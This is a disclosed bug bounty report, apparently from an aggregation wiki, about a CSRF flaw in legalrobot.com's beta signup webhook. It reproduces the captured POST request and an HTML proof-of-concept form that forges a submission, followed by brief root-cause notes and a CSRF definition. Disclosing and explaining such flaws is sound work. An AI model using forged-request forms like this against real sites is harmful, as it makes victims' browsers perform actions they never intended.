CSRF Issue
A form submission endpoint appeared to lack CSRF protection, allowing an attacker to forge requests that submit data to the webhook endpoint.
- Disclosed after 12 months
Found CSRF Issue in https://www.legalrobot.com/beta/nl/
POST Request :
POST /webhooks/beta HTTP/1.1 Host: app.legalrobot.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://www.legalrobot.com/beta/nl/ Content-Length: 107 origin: https://www.legalrobot.com Connection: close
firstName=jdsfkds&lastName=dskfdsj&position=sdkdsj&company=skdjf&email=heeraj123%40gmail.com&language=Dutch
Attacker can implement a form such as the below one for intiating attack:
<body> <form action="https://app.legalrobot.com/webhooks/beta" method="POST"> <input type="hidden" name="firstName" value="jdsfkds" /> <input type="hidden" name="lastName" value="dskfdsj" /> <input type="hidden" name="position" value="sdkdsj" /> <input type="hidden" name="company" value="skdjf" /> <input type="hidden" name="email" value="heeraj123@gmail.com" /> <input type="hidden" name="language" value="Dutch" /> <input type="submit" value="Submit request" /> </form> </body> </html>Reference: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the endpoint did not validate a CSRF token or check the Origin/Referer header, allowing cross-site form submissions.
What the attacker needed
Victim visits attacker's page
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website tricks your browser into sending a request to another site where you're logged in, without your knowledge. Here, the site accepted form submissions without checking they came from its own pages, so an attacker could make your browser submit data to it.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.